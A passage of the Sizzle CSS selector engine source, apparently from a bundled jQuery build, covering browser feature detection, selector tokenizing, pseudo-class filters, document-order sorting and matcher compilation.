parentNode to catch when Blackberry 4.6 returns // nodes that are no longer in the document #6963 return m && m.parentNode ? [m] : []; } }; Expr.filter["ID"] = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { return elem.getAttribute("id") === attrId; }; }; } else { // Support: IE6/7 // getElementById is not reliable as a find shortcut delete Expr.find["ID"]; Expr.filter["ID"] = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { var node = typeof elem.getAttributeNode !== strundefined && elem.getAttributeNode("id"); return node && node.value === attrId; }; }; } // Tag Expr.find["TAG"] = support.getElementsByTagName ? function( tag, context ) { if ( typeof context.getElementsByTagName !== strundefined ) { return context.getElementsByTagName( tag ); } } : function( tag, context ) { var elem, tmp = [], i = 0, results = context.getElementsByTagName( tag ); // Filter out possible comments if ( tag === "*" ) { while ( (elem = results[i++]) ) { if ( elem.nodeType === 1 ) { tmp.push( elem ); } } return tmp; } return results; }; // Class Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) { if ( typeof context.getElementsByClassName !== strundefined && documentIsHTML ) { return context.getElementsByClassName( className ); } }; /* QSA/matchesSelector ---------------------------------------------------------------------- */ // QSA and matchesSelector support // matchesSelector(:active) reports false when true (IE9/Opera 11.5) rbuggyMatches = []; // qSa(:focus) reports false when true (Chrome 21) // We allow this because of a bug in IE8/9 that throws an error // whenever `document.activeElement` is accessed on an iframe // So, we allow :focus to pass through QSA all the time to avoid the IE error // See http://bugs.jquery.com/ticket/13378 rbuggyQSA = []; if ( (support.qsa = rnative.test( doc.querySelectorAll )) ) { // Build QSA regex // Regex strategy adopted from Diego Perini assert(function( div ) { // Select is set to empty string on purpose // This is to test IE's treatment of not explicitly // setting a boolean content attribute, // since its presence should be enough // http://bugs.jquery.com/ticket/12359 div.innerHTML = "<select><option selected=''></option></select>"; // Support: IE8 // Boolean attributes and "value" are not treated correctly if ( !div.querySelectorAll("[selected]").length ) { rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" ); } // Webkit/Opera - :checked should return selected option elements // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked // IE8 throws error here and will not see later tests if ( !div.querySelectorAll(":checked").length ) { rbuggyQSA.push(":checked"); } }); assert(function( div ) { // Support: Opera 10-12/IE8 // ^= $= *= and empty values // Should not select anything // Support: Windows 8 Native Apps // The type attribute is restricted during .innerHTML assignment var input = doc.createElement("input"); input.setAttribute( "type", "hidden" ); div.appendChild( input ).setAttribute( "t", "" ); if ( div.querySelectorAll("[t^='']").length ) { rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" ); } // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled) // IE8 throws error here and will not see later tests if ( !div.querySelectorAll(":enabled").length ) { rbuggyQSA.push( ":enabled", ":disabled" ); } // Opera 10-11 does not throw on post-comma invalid pseudos div.querySelectorAll("*,:x"); rbuggyQSA.push(",.*:"); }); } if ( (support.matchesSelector = rnative.test( (matches = docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector) )) ) { assert(function( div ) { // Check to see if it's possible to do matchesSelector // on a disconnected node (IE 9) support.disconnectedMatch = matches.call( div, "div" ); // This should fail with an exception // Gecko does not error, returns false instead matches.call( div, "[s!='']:x" ); rbuggyMatches.push( "!=", pseudos ); }); } rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") ); rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") ); /* Contains ---------------------------------------------------------------------- */ // Element contains another // Purposefully does not implement inclusive descendent // As in, an element does not contain itself contains = rnative.test( docElem.contains ) || docElem.compareDocumentPosition ? function( a, b ) { var adown = a.nodeType === 9 ? a.documentElement : a, bup = b && b.parentNode; return a === bup || !!( bup && bup.nodeType === 1 && ( adown.contains ? adown.contains( bup ) : a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 )); } : function( a, b ) { if ( b ) { while ( (b = b.parentNode) ) { if ( b === a ) { return true; } } } return false; }; /* Sorting ---------------------------------------------------------------------- */ // Document order sorting sortOrder = docElem.compareDocumentPosition ? function( a, b ) { // Flag for duplicate removal if ( a === b ) { hasDuplicate = true; return 0; } var compare = b.compareDocumentPosition && a.compareDocumentPosition && a.compareDocumentPosition( b ); if ( compare ) { // Disconnected nodes if ( compare & 1 || (!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) { // Choose the first element that is related to our preferred document if ( a === doc || contains(preferredDoc, a) ) { return -1; } if ( b === doc || contains(preferredDoc, b) ) { return 1; } // Maintain original order return sortInput ? ( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) : 0; } return compare & 4 ? -1 : 1; } // Not directly comparable, sort on existence of method return a.compareDocumentPosition ? -1 : 1; } : function( a, b ) { var cur, i = 0, aup = a.parentNode, bup = b.parentNode, ap = [ a ], bp = [ b ]; // Exit early if the nodes are identical if ( a === b ) { hasDuplicate = true; return 0; // Parentless nodes are either documents or disconnected } else if ( !aup || !bup ) { return a === doc ? -1 : b === doc ? 1 : aup ? -1 : bup ? 1 : sortInput ? ( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) : 0; // If the nodes are siblings, we can do a quick check } else if ( aup === bup ) { return siblingCheck( a, b ); } // Otherwise we need full lists of their ancestors for comparison cur = a; while ( (cur = cur.parentNode) ) { ap.unshift( cur ); } cur = b; while ( (cur = cur.parentNode) ) { bp.unshift( cur ); } // Walk down the tree looking for a discrepancy while ( ap[i] === bp[i] ) { i++; } return i ? // Do a sibling check if the nodes have a common ancestor siblingCheck( ap[i], bp[i] ) : // Otherwise nodes in our document sort first ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0; }; return doc; }; Sizzle.matches = function( expr, elements ) { return Sizzle( expr, null, null, elements ); }; Sizzle.matchesSelector = function( elem, expr ) { // Set document vars if needed if ( ( elem.ownerDocument || elem ) !== document ) { setDocument( elem ); } // Make sure that attribute selectors are quoted expr = expr.replace( rattributeQuotes, "='$1']" ); if ( support.matchesSelector && documentIsHTML && ( !rbuggyMatches || !rbuggyMatches.test( expr ) ) && ( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) { try { var ret = matches.call( elem, expr ); // IE 9's matchesSelector returns false on disconnected nodes if ( ret || support.disconnectedMatch || // As well, disconnected nodes are said to be in a document // fragment in IE 9 elem.document && elem.document.nodeType !== 11 ) { return ret; } } catch(e) {} } return Sizzle( expr, document, null, [elem] ).length > 0; }; Sizzle.contains = function( context, elem ) { // Set document vars if needed if ( ( context.ownerDocument || context ) !== document ) { setDocument( context ); } return contains( context, elem ); }; Sizzle.attr = function( elem, name ) { // Set document vars if needed if ( ( elem.ownerDocument || elem ) !== document ) { setDocument( elem ); } var fn = Expr.attrHandle[ name.toLowerCase() ], // Don't get fooled by Object.prototype properties (jQuery #13807) val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ? fn( elem, name, !documentIsHTML ) : undefined; return val === undefined ? support.attributes || !documentIsHTML ? elem.getAttribute( name ) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null : val; }; Sizzle.error = function( msg ) { throw new Error( "Syntax error, unrecognized expression: " + msg ); }; /** * Document sorting and removing duplicates * @param {ArrayLike} results */ Sizzle.uniqueSort = function( results ) { var elem, duplicates = [], j = 0, i = 0; // Unless we *know* we can detect duplicates, assume their presence hasDuplicate = !support.detectDuplicates; sortInput = !support.sortStable && results.slice( 0 ); results.sort( sortOrder ); if ( hasDuplicate ) { while ( (elem = results[i++]) ) { if ( elem === results[ i ] ) { j = duplicates.push( i ); } } while ( j-- ) { results.splice( duplicates[ j ], 1 ); } } return results; }; /** * Utility function for retrieving the text value of an array of DOM nodes * @param {Array|Element} elem */ getText = Sizzle.getText = function( elem ) { var node, ret = "", i = 0, nodeType = elem.nodeType; if ( !nodeType ) { // If no nodeType, this is expected to be an array for ( ; (node = elem[i]); i++ ) { // Do not traverse comment nodes ret += getText( node ); } } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) { // Use textContent for elements // innerText usage removed for consistency of new lines (see #11153) if ( typeof elem.textContent === "string" ) { return elem.textContent; } else { // Traverse its children for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { ret += getText( elem ); } } } else if ( nodeType === 3 || nodeType === 4 ) { return elem.nodeValue; } // Do not include comment or processing instruction nodes return ret; }; Expr = Sizzle.selectors = { // Can be adjusted by the user cacheLength: 50, createPseudo: markFunction, match: matchExpr, attrHandle: {}, find: {}, relative: { ">": { dir: "parentNode", first: true }, " ": { dir: "parentNode" }, "+": { dir: "previousSibling", first: true }, "~": { dir: "previousSibling" } }, preFilter: { "ATTR": function( match ) { match[1] = match[1].replace( runescape, funescape ); // Move the given value to match[3] whether quoted or unquoted match[3] = ( match[4] || match[5] || "" ).replace( runescape, funescape ); if ( match[2] === "~=" ) { match[3] = " " + match[3] + " "; } return match.slice( 0, 4 ); }, "CHILD": function( match ) { /* matches from matchExpr["CHILD"] 1 type (only|nth|...) 2 what (child|of-type) 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...) 4 xn-component of xn+y argument ([+-]?\d*n|) 5 sign of xn-component 6 x of xn-component 7 sign of y-component 8 y of y-component */ match[1] = match[1].toLowerCase(); if ( match[1].slice( 0, 3 ) === "nth" ) { // nth-* requires argument if ( !match[3] ) { Sizzle.error( match[0] ); } // numeric x and y parameters for Expr.filter.CHILD // remember that false/true cast respectively to 0/1 match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) ); match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" ); // other types prohibit arguments } else if ( match[3] ) { Sizzle.error( match[0] ); } return match; }, "PSEUDO": function( match ) { var excess, unquoted = !match[5] && match[2]; if ( matchExpr["CHILD"].test( match[0] ) ) { return null; } // Accept quoted arguments as-is if ( match[3] && match[4] !== undefined ) { match[2] = match[4]; // Strip excess characters from unquoted arguments } else if ( unquoted && rpseudo.test( unquoted ) && // Get excess from tokenize (recursively) (excess = tokenize( unquoted, true )) && // advance to the next closing parenthesis (excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) { // excess is a negative index match[0] = match[0].slice( 0, excess ); match[2] = unquoted.slice( 0, excess ); } // Return only captures needed by the pseudo filter method (type and argument) return match.slice( 0, 3 ); } }, filter: { "TAG": function( nodeNameSelector ) { var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase(); return nodeNameSelector === "*" ? function() { return true; } : function( elem ) { return elem.nodeName && elem.nodeName.toLowerCase() === nodeName; }; }, "CLASS": function( className ) { var pattern = classCache[ className + " " ]; return pattern || (pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) && classCache( className, function( elem ) { return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== strundefined && elem.getAttribute("class") || "" ); }); }, "ATTR": function( name, operator, check ) { return function( elem ) { var result = Sizzle.attr( elem, name ); if ( result == null ) { return operator === "!="; } if ( !operator ) { return true; } result += ""; return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf( check ) === 0 : operator === "*=" ? check && result.indexOf( check ) > -1 : operator === "$=" ? check && result.slice( -check.length ) === check : operator === "~=" ? ( " " + result + " " ).indexOf( check ) > -1 : operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" : false; }; }, "CHILD": function( type, what, argument, first, last ) { var simple = type.slice( 0, 3 ) !== "nth", forward = type.slice( -4 ) !== "last", ofType = what === "of-type"; return first === 1 && last === 0 ? // Shortcut for :nth-*(n) function( elem ) { return !!elem.parentNode; } : function( elem, context, xml ) { var cache, outerCache, node, diff, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling", parent = elem.parentNode, name = ofType && elem.nodeName.toLowerCase(), useCache = !xml && !ofType; if ( parent ) { // :(first|last|only)-(child|of-type) if ( simple ) { while ( dir ) { node = elem; while ( (node = node[ dir ]) ) { if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) { return false; } } // Reverse direction for :only-* (if we haven't yet done so) start = dir = type === "only" && !start && "nextSibling"; } return true; } start = [ forward ? parent.firstChild : parent.lastChild ]; // non-xml :nth-child(...) stores cache data on `parent` if ( forward && useCache ) { // Seek `elem` from a previously-cached index outerCache = parent[ expando ] || (parent[ expando ] = {}); cache = outerCache[ type ] || []; nodeIndex = cache[0] === dirruns && cache[1]; diff = cache[0] === dirruns && cache[2]; node = nodeIndex && parent.childNodes[ nodeIndex ]; while ( (node = ++nodeIndex && node && node[ dir ] || // Fallback to seeking `elem` from the start (diff = nodeIndex = 0) || start.pop()) ) { // When found, cache indexes on `parent` and break if ( node.nodeType === 1 && ++diff && node === elem ) { outerCache[ type ] = [ dirruns, nodeIndex, diff ]; break; } } // Use previously-cached element index if available } else if ( useCache && (cache = (elem[ expando ] || (elem[ expando ] = {}))[ type ]) && cache[0] === dirruns ) { diff = cache[1]; // xml :nth-child(...) or :nth-last-child(...) or :nth(-last)?-of-type(...) } else { // Use the same loop as above to seek `elem` from the start while ( (node = ++nodeIndex && node && node[ dir ] || (diff = nodeIndex = 0) || start.pop()) ) { if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) { // Cache the index of each encountered element if ( useCache ) { (node[ expando ] || (node[ expando ] = {}))[ type ] = [ dirruns, diff ]; } if ( node === elem ) { break; } } } } // Incorporate the offset, then check against cycle size diff -= last; return diff === first || ( diff % first === 0 && diff / first >= 0 ); } }; }, "PSEUDO": function( pseudo, argument ) { // pseudo-class names are case-insensitive // http://www.w3.org/TR/selectors/#pseudo-classes // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters // Remember that setFilters inherits from pseudos var args, fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] || Sizzle.error( "unsupported pseudo: " + pseudo ); // The user may use createPseudo to indicate that // arguments are needed to create the filter function // just as Sizzle does if ( fn[ expando ] ) { return fn( argument ); } // But maintain support for old signatures if ( fn.length > 1 ) { args = [ pseudo, pseudo, "", argument ]; return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ? markFunction(function( seed, matches ) { var idx, matched = fn( seed, argument ), i = matched.length; while ( i-- ) { idx = indexOf.call( seed, matched[i] ); seed[ idx ] = !( matches[ idx ] = matched[i] ); } }) : function( elem ) { return fn( elem, 0, args ); }; } return fn; } }, pseudos: { // Potentially complex pseudos "not": markFunction(function( selector ) { // Trim the selector passed to compile // to avoid treating leading and trailing // spaces as combinators var input = [], results = [], matcher = compile( selector.replace( rtrim, "$1" ) ); return matcher[ expando ] ? markFunction(function( seed, matches, context, xml ) { var elem, unmatched = matcher( seed, null, xml, [] ), i = seed.length; // Match elements unmatched by `matcher` while ( i-- ) { if ( (elem = unmatched[i]) ) { seed[i] = !(matches[i] = elem); } } }) : function( elem, context, xml ) { input[0] = elem; matcher( input, null, xml, results ); return !results.pop(); }; }), "has": markFunction(function( selector ) { return function( elem ) { return Sizzle( selector, elem ).length > 0; }; }), "contains": markFunction(function( text ) { return function( elem ) { return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1; }; }), // "Whether an element is represented by a :lang() selector // is based solely on the element's language value // being equal to the identifier C, // or beginning with the identifier C immediately followed by "-". // The matching of C against the element's language value is performed case-insensitively. // The identifier C does not have to be a valid language name." // http://www.w3.org/TR/selectors/#lang-pseudo "lang": markFunction( function( lang ) { // lang value must be a valid identifier if ( !ridentifier.test(lang || "") ) { Sizzle.error( "unsupported lang: " + lang ); } lang = lang.replace( runescape, funescape ).toLowerCase(); return function( elem ) { var elemLang; do { if ( (elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) { elemLang = elemLang.toLowerCase(); return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0; } } while ( (elem = elem.parentNode) && elem.nodeType === 1 ); return false; }; }), // Miscellaneous "target": function( elem ) { var hash = window.location && window.location.hash; return hash && hash.slice( 1 ) === elem.id; }, "root": function( elem ) { return elem === docElem; }, "focus": function( elem ) { return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex); }, // Boolean properties "enabled": function( elem ) { return elem.disabled === false; }, "disabled": function( elem ) { return elem.disabled === true; }, "checked": function( elem ) { // In CSS3, :checked should return both checked and selected elements // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked var nodeName = elem.nodeName.toLowerCase(); return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected); }, "selected": function( elem ) { // Accessing this property makes selected-by-default // options in Safari work properly if ( elem.parentNode ) { elem.parentNode.selectedIndex; } return elem.selected === true; }, // Contents "empty": function( elem ) { // http://www.w3.org/TR/selectors/#empty-pseudo // :empty is only affected by element nodes and content nodes(including text(3), cdata(4)), // not comment, processing instructions, or others // Thanks to Diego Perini for the nodeName shortcut // Greater than "@" means alpha characters (specifically not starting with "#" or "?") for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { if ( elem.nodeName > "@" || elem.nodeType === 3 || elem.nodeType === 4 ) { return false; } } return true; }, "parent": function( elem ) { return !Expr.pseudos["empty"]( elem ); }, // Element/input types "header": function( elem ) { return rheader.test( elem.nodeName ); }, "input": function( elem ) { return rinputs.test( elem.nodeName ); }, "button": function( elem ) { var name = elem.nodeName.toLowerCase(); return name === "input" && elem.type === "button" || name === "button"; }, "text": function( elem ) { var attr; // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc) // use getAttribute instead to test this case return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && ( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === elem.type ); }, // Position-in-collection "first": createPositionalPseudo(function() { return [ 0 ]; }), "last": createPositionalPseudo(function( matchIndexes, length ) { return [ length - 1 ]; }), "eq": createPositionalPseudo(function( matchIndexes, length, argument ) { return [ argument < 0 ? argument + length : argument ]; }), "even": createPositionalPseudo(function( matchIndexes, length ) { var i = 0; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; }), "odd": createPositionalPseudo(function( matchIndexes, length ) { var i = 1; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; }), "lt": createPositionalPseudo(function( matchIndexes, length, argument ) { var i = argument < 0 ? argument + length : argument; for ( ; --i >= 0; ) { matchIndexes.push( i ); } return matchIndexes; }), "gt": createPositionalPseudo(function( matchIndexes, length, argument ) { var i = argument < 0 ? argument + length : argument; for ( ; ++i < length; ) { matchIndexes.push( i ); } return matchIndexes; }) } }; Expr.pseudos["nth"] = Expr.pseudos["eq"]; // Add button/input type pseudos for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) { Expr.pseudos[ i ] = createInputPseudo( i ); } for ( i in { submit: true, reset: true } ) { Expr.pseudos[ i ] = createButtonPseudo( i ); } // Easy API for creating new setFilters function setFilters() {} setFilters.prototype = Expr.filters = Expr.pseudos; Expr.setFilters = new setFilters(); function tokenize( selector, parseOnly ) { var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[ selector + " " ]; if ( cached ) { return parseOnly ? 0 : cached.slice( 0 ); } soFar = selector; groups = []; preFilters = Expr.preFilter; while ( soFar ) { // Comma and first run if ( !matched || (match = rcomma.exec( soFar )) ) { if ( match ) { // Don't consume trailing commas as valid soFar = soFar.slice( match[0].length ) || soFar; } groups.push( tokens = [] ); } matched = false; // Combinators if ( (match = rcombinators.exec( soFar )) ) { matched = match.shift(); tokens.push({ value: matched, // Cast descendant combinators to space type: match[0].replace( rtrim, " " ) }); soFar = soFar.slice( matched.length ); } // Filters for ( type in Expr.filter ) { if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] || (match = preFilters[ type ]( match ))) ) { matched = match.shift(); tokens.push({ value: matched, type: type, matches: match }); soFar = soFar.slice( matched.length ); } } if ( !matched ) { break; } } // Return the length of the invalid excess // if we're just parsing // Otherwise, throw an error or return tokens return parseOnly ? soFar.length : soFar ? Sizzle.error( selector ) : // Cache the tokens tokenCache( selector, groups ).slice( 0 ); } function toSelector( tokens ) { var i = 0, len = tokens.length, selector = ""; for ( ; i < len; i++ ) { selector += tokens[i].value; } return selector; } function addCombinator( matcher, combinator, base ) { var dir = combinator.dir, checkNonElements = base && dir === "parentNode", doneName = done++; return combinator.first ? // Check against closest ancestor/preceding element function( elem, context, xml ) { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { return matcher( elem, context, xml ); } } } : // Check against all ancestor/preceding elements function( elem, context, xml ) { var data, cache, outerCache, dirkey = dirruns + " " + doneName; // We can't set arbitrary data on XML nodes, so they don't benefit from dir caching if ( xml ) { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { if ( matcher( elem, context, xml ) ) { return true; } } } } else { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { outerCache = elem[ expando ] || (elem[ expando ] = {}); if ( (cache = outerCache[ dir ]) && cache[0] === dirkey ) { if ( (data = cache[1]) === true || data === cachedruns ) { return data === true; } } else { cache = outerCache[ dir ] = [ dirkey ]; cache[1] = matcher( elem, context, xml ) || cachedruns; if ( cache[1] === true ) { return true; } } } } } }; } function elementMatcher( matchers ) { return matchers.length > 1 ? function( elem, context, xml ) { var i = matchers.length; while ( i-- ) { if ( !matchers[i]( elem, context, xml ) ) { return false; } } return true; } : matchers[0]; } function condense( unmatched, map, filter, context, xml ) { var elem, newUnmatched = [], i = 0, len = unmatched.length, mapped = map != null; for ( ; i < len; i++ ) { if ( (elem = unmatched[i]) ) { if ( !filter || filter( elem, context, xml ) ) { newUnmatched.push( elem ); if ( mapped ) { map.push( i ); } } } } return newUnmatched; } function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) { if ( postFilter && !postFilter[ expando ] ) { postFilter = setMatcher( postFilter ); } if ( postFinder && !postFinder[ expando ] ) { postFinder = setMatcher( postFinder, postSelector ); } return markFunction(function( seed, results, context, xml ) { var temp, i, elem, preMap = [], postMap = [], preexisting = results.length, // Get initial elements from seed or context elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ), // Prefilter to get matcher input, preserving a map for seed-results synchronization matcherIn = preFilter && ( seed || !selector ) ? condense( elems, preMap, preFilter, context, xml ) : elems, matcherOut = matcher ? // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results, postFinder || ( seed ? preFilter : preexisting || postFilter ) ? // ...intermediate processing is necessary [] : // ...otherwise use results directly results : matcherIn; // Find primary matches if ( matcher ) { matcher( matcherIn, matcherOut, context, xml ); } // Apply postFilter if ( postFilter ) { temp = condense( matcherOut, postMap ); postFilter( temp, [], context, xml ); // Un-match failing elements by moving them back to matcherIn i = temp.length; while ( i-- ) { if ( (elem = temp[i]) ) { matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem); } } } if ( seed ) { if ( postFinder || preFilter ) { if ( postFinder ) { // Get the final matcherOut by condensing this intermediate into postFinder contexts temp = []; i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) ) { // Restore matcherIn since elem is not yet a final match temp.push( (matcherIn[i] = elem) ); } } postFinder( null, (matcherOut = []), temp, xml ); } // Move matched elements from seed to results to keep them synchronized i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) && (temp = postFinder ? indexOf.call( seed, elem ) : preMap[i]) > -1 ) { seed[temp] = !(results[temp] = elem); } } } // Add elements to results, through postFinder if defined } else { matcherOut = condense( matcherOut === results ? matcherOut.splice( preexisting, matcherOut.length ) : matcherOut ); if ( postFinder ) { postFinder( null, results, matcherOut, xml ); } else { push.apply( results, matcherOut ); } } }); } function matcherFromTokens( tokens ) { var checkContext, matcher, j, len = tokens.length, leadingRelative = Expr.relative[ tokens[0].type ], implicitRelative = leadingRelative || Expr.relative[" "], i = leadingRelative ? 1 : 0, // The foundational matcher ensures that elements are reachable from top-level context(s) matchContext = addCombinator( function( elem ) { return elem === checkContext; }, implicitRelative, true ), matchAnyContext = addCombinator( function( elem ) { return indexOf.call( checkContext, elem ) > -1; }, implicitRelative, true ), matchers = [ function( elem, context, xml ) { return ( !leadingRelative && ( xml || context !== outermostContext ) ) || ( (checkContext = context).nodeType ? matchContext( elem, context, xml ) : matchAnyContext( elem, context, xml ) ); } ]; for ( ; i < len; i++ ) { if ( (matcher = Expr.relative[ tokens[i].type ]) ) { matchers = [ addCombinator(elementMatcher( matchers ), matcher) ]; } else { matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches ); // Return special upon seeing a positional matcher if ( matcher[ expando ] ) { // Find the next relative operator (if any) for proper handling j = ++i; for ( ; j < len; j++ ) { if ( Expr.relative[ tokens[j].type ] ) { break; } } return setMatcher( i > 1 && elementMatcher( matchers ), i > 1 && toSelector( // If the preceding token was a descendant combinator, insert an implicit any-element `*` tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" }) ).replace( rtrim, "$1" ), matcher, i < j && matcherFromTokens( tokens.slice( i, j ) ), j < len && matcherFromTokens( (tokens = tokens.slice( j )) ), j < len && toSelector( tokens ) ); } matchers.push( matcher ); } } return elementMatcher( matchers ); } function matcherFromGroupMatchers( elementMatchers, setMatchers ) { // A counter to specify which element is currently being matched var matcherCachedRuns = 0, bySet = setMatchers.length > 0, byElement = elementMatchers.length > 0, superMatcher = function( seed, context, xml, results, expandContext ) { var elem, j, matcher, setMatched = [], matchedCount = 0, i = "0", unmatched = seed && [], outermost = expandContext != null, contextBackup = outermostContext, // We must always have either seed elements or context elems = seed || byElement && Expr.find["TAG"]( "*", expandContext && context.parentNode || context ), // Use integer dirruns iff this is the outermost matcher dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1); if ( outermost ) { outermostContext = context !== document && context; cachedruns = matcherCachedRuns; } // Add elements passing elementMatchers directly to results // Keep `i` a string if there are no elements so `matchedCount` will be "00" below for ( ; (elem = elems[i]) != null; i++ ) { if ( byElement && elem ) { j = 0; while ( (matcher = elementMatchers[j++]) ) { if ( matcher( elem, context, xml ) ) { results.push( elem ); break; } } if ( outermost ) { dirruns = dirrunsUnique; cachedruns = ++matcherCachedRuns; } } // Track unmatched elements for set filters if ( bySet ) { // They will have gone through all possible matchers if ( (elem = !matcher && elem) ) { matchedCount--; } // Lengthen the array for every element, matched or not if ( seed ) { unmatched.push( elem ); } } } // Apply set filters to unmatched elements matchedCount += i; if ( bySet && i !== matchedCount ) { j = 0; while ( (matcher = setMatchers[j++]) ) { matcher( unmatched, setMatched, context, xml ); } if ( seed ) { // Reintegrate element matches to eliminate the need for sorting if ( matchedCount > 0 ) { while ( i-- ) { if ( !(unmatched[i] || setMatched[i]) ) { setMatched[i] = pop.call( results ); } } } // Discard index placeholder values to get only actual matches setMatched = condense( setMatched ); } // Add matches to results push.apply( results, setMatched ); // Seedless set matches succeeding multiple successful matchers stipulate sorting if ( outermost && !seed && setMatched.length > 0 && ( matchedCount + setMatchers.length ) > 1 ) { Sizzle.uniqueSort( results ); } } // Override manipulation of globals by nested matchers if ( outermost ) { dirruns = dirrunsUnique; outermostContext = contextBackup; } return unmatched; }; return bySet ? markFunction( superMatcher ) : superMatcher; } compile = Sizzle.compile = function( selector, group /* Internal Use Only */ ) { var i, setMatchers = [], elementMatchers = [], cached = compilerCache[ selector + " " ]; if ( !cached ) { // Generate a function of recursive functions that can be used to check each element if ( !group ) { group = tokenize( selector ); } i = group.length; while ( i-- ) { cached = matcherFromTokens( group[i] ); if ( cached[ expando ] ) { setMatchers.push( cached ); } else { elementMatchers.push( cached ); } } // Cache the compiled function cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) ); } return cached; }; function multipleContexts( selector, contexts, results ) { var i = 0, len = contexts.length; for ( ; i < len; i++ ) { Sizzle( selector, contexts[i], results ); } return results; } function select( selector, context, results, seed ) { var i, tokens, token, type, find, match = tokenize( selector ); if ( !seed ) { // Try to minimize operations if there is only one group if ( match.length === 1 ) { // Take a shortcut and set the context if the root selector is an ID tokens = match[0] = match[0].slice( 0 ); if ( tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[1].type ] ) { context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0]; if ( !context ) { return results; } selector = selector.slice( tokens.shift().value.length ); } // Fetch a seed set for right-to-left matching i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length; while ( i-- ) { token = tokens[i]; // Abort if we hit a combinator if ( Expr.relative[ (type = token.type) ] ) { break; } if ( (find = Expr.find[ type ]) ) { // Search, expanding context for leading sibling combinators if ( (seed = find( token.matches[0].replace( runescape, funescape ), rsibling.test( tokens[0].type ) && context.parentNode || context )) ) { // If seed is empty or no tokens remain, we can return early tokens.splice( i, 1 ); selector = seed.length && toSelector( tokens ); if ( !selector ) { push.apply( results, seed ); return results; } break; } } } } } // Compile and execute a filtering function // Provide `match` to avoid retokenization if we modified the selector above compile( selector, match )( seed, context, !documentIsHTML, results, rsibling.test( selector ) ); return results; } // One-time assignments // Sort stability support.sortStable = expando.split("").sort( sortOrder ).join("") === expando; // Support: Chrome<14 // Always assume duplicates if they aren't passed to the comparison function support.detectDuplicates = hasDuplicate; // Initialize against the default document setDocument(); // Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27) // Detached nodes confoundingly follow *each other* support.sortDetached = assert(function( div1 ) { // Should return 1, but returns 4 (following) return div1.compareDocumentPosition( document.createElement("div") ) & 1; }); // Support: IE<8 // Prevent attribute/property "interpolation" // 